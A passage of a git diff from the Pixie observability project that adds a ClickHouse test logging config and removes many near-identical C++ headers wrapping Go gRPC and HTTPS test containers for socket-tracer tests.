+ layers = [":clickhouse_config_layer"], + visibility = ["//visibility:public"], +) diff --git a/src/stirling/source_connectors/socket_tracer/testing/container_images/clickhouse/clickhouse_logging_config.xml b/src/stirling/source_connectors/socket_tracer/testing/container_images/clickhouse/clickhouse_logging_config.xml new file mode 100644 index 00000000000..c2d570a3b02 --- /dev/null +++ b/src/stirling/source_connectors/socket_tracer/testing/container_images/clickhouse/clickhouse_logging_config.xml @@ -0,0 +1,7 @@ + + + true + + + + \ No newline at end of file diff --git a/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_18_grpc_server_container.h b/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_18_grpc_server_container.h deleted file mode 100644 index 12877b6908c..00000000000 --- a/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_18_grpc_server_container.h +++ /dev/null @@ -1,47 +0,0 @@ -/* - * Copyright 2018- The Pixie Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - * - * SPDX-License-Identifier: Apache-2.0 - */ - -#pragma once - -#include - -#include "src/common/testing/test_environment.h" -#include "src/common/testing/test_utils/container_runner.h" - -namespace px { -namespace stirling { -namespace testing { - -class Go1_18_GRPCServerContainer : public ContainerRunner { - public: - Go1_18_GRPCServerContainer() - : ContainerRunner(::px::testing::BazelRunfilePath(kBazelImageTar), kContainerNamePrefix, - kReadyMessage) {} - - static constexpr std::string_view kBazelImageTar = - "src/stirling/source_connectors/socket_tracer/testing/containers/" - "golang_1_18_grpc_server_with_buildinfo.tar"; - - private: - static constexpr std::string_view kContainerNamePrefix = "grpc_server"; - static constexpr std::string_view kReadyMessage = "Starting HTTP/2 server"; -}; - -} // namespace testing -} // namespace stirling -} // namespace px diff --git a/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_18_tls_server_container.h b/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_18_tls_server_container.h deleted file mode 100644 index 1d0184072ac..00000000000 --- a/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_18_tls_server_container.h +++ /dev/null @@ -1,47 +0,0 @@ -/* - * Copyright 2018- The Pixie Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - * - * SPDX-License-Identifier: Apache-2.0 - */ - -#pragma once - -#include - -#include "src/common/testing/test_environment.h" -#include "src/common/testing/test_utils/container_runner.h" - -namespace px { -namespace stirling { -namespace testing { - -class Go1_18_TLSServerContainer : public ContainerRunner { - public: - Go1_18_TLSServerContainer() - : ContainerRunner(::px::testing::BazelRunfilePath(kBazelImageTar), kContainerNamePrefix, - kReadyMessage) {} - - static constexpr std::string_view kBazelImageTar = - "src/stirling/source_connectors/socket_tracer/testing/containers/" - "golang_1_18_https_server_with_buildinfo.tar"; - - private: - static constexpr std::string_view kContainerNamePrefix = "https_server"; - static constexpr std::string_view kReadyMessage = "Starting HTTPS service"; -}; - -} // namespace testing -} // namespace stirling -} // namespace px diff --git a/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_19_grpc_server_container.h b/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_19_grpc_server_container.h deleted file mode 100644 index f655fe5fb0e..00000000000 --- a/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_19_grpc_server_container.h +++ /dev/null @@ -1,47 +0,0 @@ -/* - * Copyright 2018- The Pixie Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - * - * SPDX-License-Identifier: Apache-2.0 - */ - -#pragma once - -#include - -#include "src/common/testing/test_environment.h" -#include "src/common/testing/test_utils/container_runner.h" - -namespace px { -namespace stirling { -namespace testing { - -class Go1_19_GRPCServerContainer : public ContainerRunner { - public: - Go1_19_GRPCServerContainer() - : ContainerRunner(::px::testing::BazelRunfilePath(kBazelImageTar), kContainerNamePrefix, - kReadyMessage) {} - - static constexpr std::string_view kBazelImageTar = - "src/stirling/source_connectors/socket_tracer/testing/containers/" - "golang_1_19_grpc_server_with_buildinfo.tar"; - - private: - static constexpr std::string_view kContainerNamePrefix = "grpc_server"; - static constexpr std::string_view kReadyMessage = "Starting HTTP/2 server"; -}; - -} // namespace testing -} // namespace stirling -} // namespace px diff --git a/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_19_tls_server_container.h b/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_19_tls_server_container.h deleted file mode 100644 index d4e845bd12c..00000000000 --- a/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_19_tls_server_container.h +++ /dev/null @@ -1,47 +0,0 @@ -/* - * Copyright 2018- The Pixie Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - * - * SPDX-License-Identifier: Apache-2.0 - */ - -#pragma once - -#include - -#include "src/common/testing/test_environment.h" -#include "src/common/testing/test_utils/container_runner.h" - -namespace px { -namespace stirling { -namespace testing { - -class Go1_19_TLSServerContainer : public ContainerRunner { - public: - Go1_19_TLSServerContainer() - : ContainerRunner(::px::testing::BazelRunfilePath(kBazelImageTar), kContainerNamePrefix, - kReadyMessage) {} - - static constexpr std::string_view kBazelImageTar = - "src/stirling/source_connectors/socket_tracer/testing/containers/" - "golang_1_19_https_server_with_buildinfo.tar"; - - private: - static constexpr std::string_view kContainerNamePrefix = "https_server"; - static constexpr std::string_view kReadyMessage = "Starting HTTPS service"; -}; - -} // namespace testing -} // namespace stirling -} // namespace px diff --git a/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_20_grpc_server_container.h b/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_20_grpc_server_container.h deleted file mode 100644 index e64c6d93e7d..00000000000 --- a/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_20_grpc_server_container.h +++ /dev/null @@ -1,47 +0,0 @@ -/* - * Copyright 2018- The Pixie Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - * - * SPDX-License-Identifier: Apache-2.0 - */ - -#pragma once - -#include - -#include "src/common/testing/test_environment.h" -#include "src/common/testing/test_utils/container_runner.h" - -namespace px { -namespace stirling { -namespace testing { - -class Go1_20_GRPCServerContainer : public ContainerRunner { - public: - Go1_20_GRPCServerContainer() - : ContainerRunner(::px::testing::BazelRunfilePath(kBazelImageTar), kContainerNamePrefix, - kReadyMessage) {} - - static constexpr std::string_view kBazelImageTar = - "src/stirling/source_connectors/socket_tracer/testing/containers/" - "golang_1_20_grpc_server_with_buildinfo.tar"; - - private: - static constexpr std::string_view kContainerNamePrefix = "grpc_server"; - static constexpr std::string_view kReadyMessage = "Starting HTTP/2 server"; -}; - -} // namespace testing -} // namespace stirling -} // namespace px diff --git a/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_20_tls_server_container.h b/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_20_tls_server_container.h deleted file mode 100644 index 13aabed1ade..00000000000 --- a/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_20_tls_server_container.h +++ /dev/null @@ -1,47 +0,0 @@ -/* - * Copyright 2018- The Pixie Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - * - * SPDX-License-Identifier: Apache-2.0 - */ - -#pragma once - -#include - -#include "src/common/testing/test_environment.h" -#include "src/common/testing/test_utils/container_runner.h" - -namespace px { -namespace stirling { -namespace testing { - -class Go1_20_TLSServerContainer : public ContainerRunner { - public: - Go1_20_TLSServerContainer() - : ContainerRunner(::px::testing::BazelRunfilePath(kBazelImageTar), kContainerNamePrefix, - kReadyMessage) {} - - static constexpr std::string_view kBazelImageTar = - "src/stirling/source_connectors/socket_tracer/testing/containers/" - "golang_1_20_https_server_with_buildinfo.tar"; - - private: - static constexpr std::string_view kContainerNamePrefix = "https_server"; - static constexpr std::string_view kReadyMessage = "Starting HTTPS service"; -}; - -} // namespace testing -} // namespace stirling -} // namespace px diff --git a/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_21_grpc_server_container.h b/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_21_grpc_server_container.h deleted file mode 100644 index db0dbb25bce..00000000000 --- a/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_21_grpc_server_container.h +++ /dev/null @@ -1,47 +0,0 @@ -/* - * Copyright 2018- The Pixie Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - * - * SPDX-License-Identifier: Apache-2.0 - */ - -#pragma once - -#include - -#include "src/common/testing/test_environment.h" -#include "src/common/testing/test_utils/container_runner.h" - -namespace px { -namespace stirling { -namespace testing { - -class Go1_21_GRPCServerContainer : public ContainerRunner { - public: - Go1_21_GRPCServerContainer() - : ContainerRunner(::px::testing::BazelRunfilePath(kBazelImageTar), kContainerNamePrefix, - kReadyMessage) {} - - static constexpr std::string_view kBazelImageTar = - "src/stirling/source_connectors/socket_tracer/testing/containers/" - "golang_1_21_grpc_server_with_buildinfo.tar"; - - private: - static constexpr std::string_view kContainerNamePrefix = "grpc_server"; - static constexpr std::string_view kReadyMessage = "Starting HTTP/2 server"; -}; - -} // namespace testing -} // namespace stirling -} // namespace px diff --git a/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_21_tls_server_container.h b/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_21_tls_server_container.h deleted file mode 100644 index 342d980b397..00000000000 --- a/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_21_tls_server_container.h +++ /dev/null @@ -1,47 +0,0 @@ -/* - * Copyright 2018- The Pixie Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - * - * SPDX-License-Identifier: Apache-2.0 - */ - -#pragma once - -#include - -#include "src/common/testing/test_environment.h" -#include "src/common/testing/test_utils/container_runner.h" - -namespace px { -namespace stirling { -namespace testing { - -class Go1_21_TLSServerContainer : public ContainerRunner { - public: - Go1_21_TLSServerContainer() - : ContainerRunner(::px::testing::BazelRunfilePath(kBazelImageTar), kContainerNamePrefix, - kReadyMessage) {} - - static constexpr std::string_view kBazelImageTar = - "src/stirling/source_connectors/socket_tracer/testing/containers/" - "golang_1_21_https_server_with_buildinfo.tar"; - - private: - static constexpr std::string_view kContainerNamePrefix = "https_server"; - static constexpr std::string_view kReadyMessage = "Starting HTTPS service"; -}; - -} // namespace testing -} // namespace stirling -} // namespace px diff --git a/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_22_grpc_server_container.h b/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_22_grpc_server_container.h deleted file mode 100644 index 6218f483eb4..00000000000 --- a/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_22_grpc_server_container.h +++ /dev/null @@ -1,47 +0,0 @@ -/* - * Copyright 2018- The Pixie Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - * - * SPDX-License-Identifier: Apache-2.0 - */ - -#pragma once - -#include - -#include "src/common/testing/test_environment.h" -#include "src/common/testing/test_utils/container_runner.h" - -namespace px { -namespace stirling { -namespace testing { - -class Go1_22_GRPCServerContainer : public ContainerRunner { - public: - Go1_22_GRPCServerContainer() - : ContainerRunner(::px::testing::BazelRunfilePath(kBazelImageTar), kContainerNamePrefix, - kReadyMessage) {} - - static constexpr std::string_view kBazelImageTar = - "src/stirling/source_connectors/socket_tracer/testing/" - "containers/golang_1_22_grpc_server_with_buildinfo.tar"; - - private: - static constexpr std::string_view kContainerNamePrefix = "grpc_server"; - static constexpr std::string_view kReadyMessage = "Starting HTTP/2 server"; -}; - -} // namespace testing -} // namespace stirling -} // namespace px diff --git a/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_22_tls_server_container.h b/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_22_tls_server_container.h deleted file mode 100644 index b07bf09348f..00000000000 --- a/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_22_tls_server_container.h +++ /dev/null @@ -1,47 +0,0 @@ -/* - * Copyright 2018- The Pixie Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - * - * SPDX-License-Identifier: Apache-2.0 - */ - -#pragma once - -#include - -#include "src/common/testing/test_environment.h" -#include "src/common/testing/test_utils/container_runner.h" - -namespace px { -namespace stirling { -namespace testing { - -class Go1_22_TLSServerContainer : public ContainerRunner { - public: - Go1_22_TLSServerContainer() - : ContainerRunner(::px::testing::BazelRunfilePath(kBazelImageTar), kContainerNamePrefix, - kReadyMessage) {} - - static constexpr std::string_view kBazelImageTar = - "src/stirling/source_connectors/socket_tracer/testing/containers/" - "golang_1_22_https_server_with_buildinfo.tar"; - - private: - static constexpr std::string_view kContainerNamePrefix = "https_server"; - static constexpr std::string_view kReadyMessage = "Starting HTTPS service"; -}; - -} // namespace testing -} // namespace stirling -} // namespace px diff --git a/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_23_grpc_client_container.h b/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_23_grpc_client_container.h deleted file mode 100644 index c89a0d91cb3..00000000000 --- a/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_23_grpc_client_container.h +++ /dev/null @@ -1,45 +0,0 @@ -/* - * Copyright 2018- The Pixie Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - * - * SPDX-License-Identifier: Apache-2.0 - */ - -#pragma once - -#include - -#include "src/common/testing/test_environment.h" -#include "src/common/testing/test_utils/container_runner.h" - -namespace px { -namespace stirling { -namespace testing { - -class Go1_23_GRPCClientContainer : public ContainerRunner { - public: - Go1_23_GRPCClientContainer() - : ContainerRunner(::px::testing::BazelRunfilePath(kBazelImageTar), kContainerNamePrefix, - kReadyMessage) {} - - private: - static constexpr std::string_view kBazelImageTar = - "src/stirling/testing/demo_apps/go_grpc_tls_pl/client/golang_1_23_grpc_tls_client.tar"; - static constexpr std::string_view kContainerNamePrefix = "grpc_client"; - static constexpr std::string_view kReadyMessage = ""; -}; - -} // namespace testing -} // namespace stirling -} // namespace px diff --git a/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_23_grpc_server_container.h b/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_23_grpc_server_container.h deleted file mode 100644 index 44dde6e32fd..00000000000 --- a/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_23_grpc_server_container.h +++ /dev/null @@ -1,45 +0,0 @@ -/* - * Copyright 2018- The Pixie Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - * - * SPDX-License-Identifier: Apache-2.0 - */ - -#pragma once - -#include - -#include "src/common/testing/test_environment.h" -#include "src/common/testing/test_utils/container_runner.h" - -namespace px { -namespace stirling { -namespace testing { - -class Go1_23_GRPCServerContainer : public ContainerRunner { - public: - Go1_23_GRPCServerContainer() - : ContainerRunner(::px::testing::BazelRunfilePath(kBazelImageTar), kContainerNamePrefix, - kReadyMessage) {} - - private: - static constexpr std::string_view kBazelImageTar = - "src/stirling/testing/demo_apps/go_grpc_tls_pl/server/golang_1_23_grpc_tls_server.tar"; - static constexpr std::string_view kContainerNamePrefix = "grpc_server"; - static constexpr std::string_view kReadyMessage = "Starting HTTP/2 server"; -}; - -} // namespace testing -} // namespace stirling -} // namespace px diff --git a/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_23_tls_client_container.h b/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_23_tls_client_container.h deleted file mode 100644 index ea85579aa27..00000000000 --- a/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_23_tls_client_container.h +++ /dev/null @@ -1,45 +0,0 @@ -/* - * Copyright 2018- The Pixie Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - * - * SPDX-License-Identifier: Apache-2.0 - */ - -#pragma once - -#include - -#include "src/common/testing/test_environment.h" -#include "src/common/testing/test_utils/container_runner.h" - -namespace px { -namespace stirling { -namespace testing { - -class Go1_23_TLSClientContainer : public ContainerRunner { - public: - Go1_23_TLSClientContainer() - : ContainerRunner(::px::testing::BazelRunfilePath(kBazelImageTar), kContainerNamePrefix, - kReadyMessage) {} - - private: - static constexpr std::string_view kBazelImageTar = - "src/stirling/testing/demo_apps/go_https/client/golang_1_23_https_client.tar"; - static constexpr std::string_view kContainerNamePrefix = "https_client"; - static constexpr std::string_view kReadyMessage = R"({"status":"ok"})"; -}; - -} // namespace testing -} // namespace stirling -} // namespace px diff --git a/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_23_tls_server_container.h b/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_23_tls_server_container.h deleted file mode 100644 index 367cf8928a8..00000000000 --- a/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_23_tls_server_container.h +++ /dev/null @@ -1,45 +0,0 @@ -/* - * Copyright 2018- The Pixie Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - * - * SPDX-License-Identifier: Apache-2.0 - */ - -#pragma once - -#include - -#include "src/common/testing/test_environment.h" -#include "src/common/testing/test_utils/container_runner.h" - -namespace px { -namespace stirling { -namespace testing { - -class Go1_23_TLSServerContainer : public ContainerRunner { - public: - Go1_23_TLSServerContainer() - : ContainerRunner(::px::testing::BazelRunfilePath(kBazelImageTar), kContainerNamePrefix, - kReadyMessage) {} - - private: - static constexpr std::string_view kBazelImageTar = - "src/stirling/testing/demo_apps/go_https/server/golang_1_23_https_server.tar"; - static constexpr std::string_view kContainerNamePrefix = "https_server"; - static constexpr std::string_view kReadyMessage = "Starting HTTPS service"; -}; - -} // namespace testing -} // namespace stirling -} // namespace px diff --git a/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_24_grpc_client_container.h b/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_24_grpc_client_container.h deleted file mode 100644 index 8e2968de148..00000000000 --- a/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_24_grpc_client_container.h +++ /dev/null @@ -1,45 +0,0 @@ -/* - * Copyright 2018- The Pixie Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - * - * SPDX-License-Identifier: Apache-2.0 - */ - -#pragma once - -#include - -#include "src/common/testing/test_environment.h" -#include "src/common/testing/test_utils/container_runner.h" - -namespace px { -namespace stirling { -namespace testing { - -class Go1_24_GRPCClientContainer : public ContainerRunner { - public: - Go1_24_GRPCClientContainer() - : ContainerRunner(::px::testing::BazelRunfilePath(kBazelImageTar), kContainerNamePrefix, - kReadyMessage) {} - - private: - static constexpr std::string_view kBazelImageTar = - "src/stirling/testing/demo_apps/go_grpc_tls_pl/client/golang_1_24_grpc_tls_client.tar"; - static constexpr std::string_view kContainerNamePrefix = "grpc_client"; - static constexpr std::string_view kReadyMessage = ""; -}; - -} // namespace testing -} // namespace stirling -} // namespace px diff --git a/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_24_grpc_server_container.h b/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_24_grpc_server_container.h deleted file mode 100644 index f8c4f29445f..00000000000 --- a/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_24_grpc_server_container.h +++ /dev/null @@ -1,46 +0,0 @@ -/* - * Copyright 2018- The Pixie Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - * - * SPDX-License-Identifier: Apache-2.0 - */ - -#pragma once - -#include - -#include "src/common/testing/test_environment.h" -#include "src/common/testing/test_utils/container_runner.h" - -namespace px { -namespace stirling { -namespace testing { - -class Go1_24_GRPCServerContainer : public ContainerRunner { - public: - Go1_24_GRPCServerContainer() - : ContainerRunner(::px::testing::BazelRunfilePath(kBazelImageTar), kContainerNamePrefix, - kReadyMessage) {} - - static constexpr std::string_view kBazelImageTar = - "src/stirling/testing/demo_apps/go_grpc_tls_pl/server/golang_1_24_grpc_tls_server.tar"; - - private: - static constexpr std::string_view kContainerNamePrefix = "grpc_server"; - static constexpr std::string_view kReadyMessage = "Starting HTTP/2 server"; -}; - -} // namespace testing -} // namespace stirling -} // namespace px diff --git a/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_24_tls_client_container.h b/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_24_tls_client_container.h deleted file mode 100644 index df5f38b11d7..00000000000 --- a/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_24_tls_client_container.h +++ /dev/null @@ -1,45 +0,0 @@ -/* - * Copyright 2018- The Pixie Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - * - * SPDX-License-Identifier: Apache-2.0 - */ - -#pragma once - -#include - -#include "src/common/testing/test_environment.h" -#include "src/common/testing/test_utils/container_runner.h" - -namespace px { -namespace stirling { -namespace testing { - -class Go1_24_TLSClientContainer : public ContainerRunner { - public: - Go1_24_TLSClientContainer() - : ContainerRunner(::px::testing::BazelRunfilePath(kBazelImageTar), kContainerNamePrefix, - kReadyMessage) {} - - private: - static constexpr std::string_view kBazelImageTar = - "src/stirling/testing/demo_apps/go_https/client/golang_1_24_https_client.tar"; - static constexpr std::string_view kContainerNamePrefix = "https_client"; - static constexpr std::string_view kReadyMessage = R"({"status":"ok"})"; -}; - -} // namespace testing -} // namespace stirling -} // namespace px diff --git a/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_24_tls_server_container.h b/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_24_tls_server_container.h deleted file mode 100644 index a504ab2b47f..00000000000 --- a/src/stirling/source_connectors/socket_tracer/testing/container_images/go_1_24_tls_server_container.h +++ /dev/null @@ -1,46 +0,0 @@ -/* - * Copyright 2018- The Pixie Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - * - * SPDX-License-Identifier: Apache-2.0 - */ - -#pragma once - -#include - -#include "src/common/testing/test_environment.h" -#include "src/common/testing/test_utils/container_runner.h" - -namespace px { -namespace stirling { -namespace testing { - -class Go1_24_TLSServerContainer : public ContainerRunner { - public: - Go1_24_TLSServerContainer() - : ContainerRunner(::px::testing::BazelRunfilePath(kBazelImageTar), kContainerNamePrefix, - kReadyMessage) {} - - static constexpr std::string_view kBazelImageTar = - "src/stirling/testing/demo_apps/go_https/server/golang_1_24_https_server.tar"; - - private: - static constexpr std::string_view kContainerNamePrefix = "https_server"; - static constexpr std::string_view kReadyMessage = "Starting HTTPS service"; -}; - -} // namespace testing -} // namespace stirling -} // namespace px diff --git a/src/stirling/source_connectors/socket_tracer/testing/container_images/go_boringcrypto_grpc_client_container.h b/src/stirling/source_connectors/socket_tracer/testing/container_images/go_boringcrypto_grpc_client_container.h deleted file mode 100644 index 1fb92a6fa8b..00000000000 --- a/src/stirling/source_connectors/socket_tracer/testing/container_images/go_boringcrypto_grpc_client_container.h +++ /dev/null @@ -1,46 +0,0 @@ -/* - * Copyright 2018- The Pixie Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - * - * SPDX-License-Identifier: Apache-2.0 - */ - -#pragma once - -#include - -#include "src/common/testing/test_environment.h" -#include "src/common/testing/test_utils/container_runner.h" - -namespace px { -namespace stirling { -namespace testing { - -class GoBoringCryptoGRPCClientContainer : public ContainerRunner { - public: - GoBoringCryptoGRPCClientContainer() - : ContainerRunner(::px::testing::BazelRunfilePath(kBazelImageTar), kContainerNamePrefix, - kReadyMessage) {} - - private: - static constexpr std::string_view kBazelImageTar = - "src/stirling/testing/demo_apps/go_grpc_tls_pl/client/" - "golang_boringcrypto_grpc_tls_client.tar"; - static constexpr std::string_view kContainerNamePrefix = "grpc_client"; - static constexpr std::string_view kReadyMessage = ""; -}; - -} // namespace testing -} // namespace stirling -} // namespace px diff --git a/src/stirling/source_connectors/socket_tracer/testing/container_images/go_boringcrypto_grpc_server_container.h 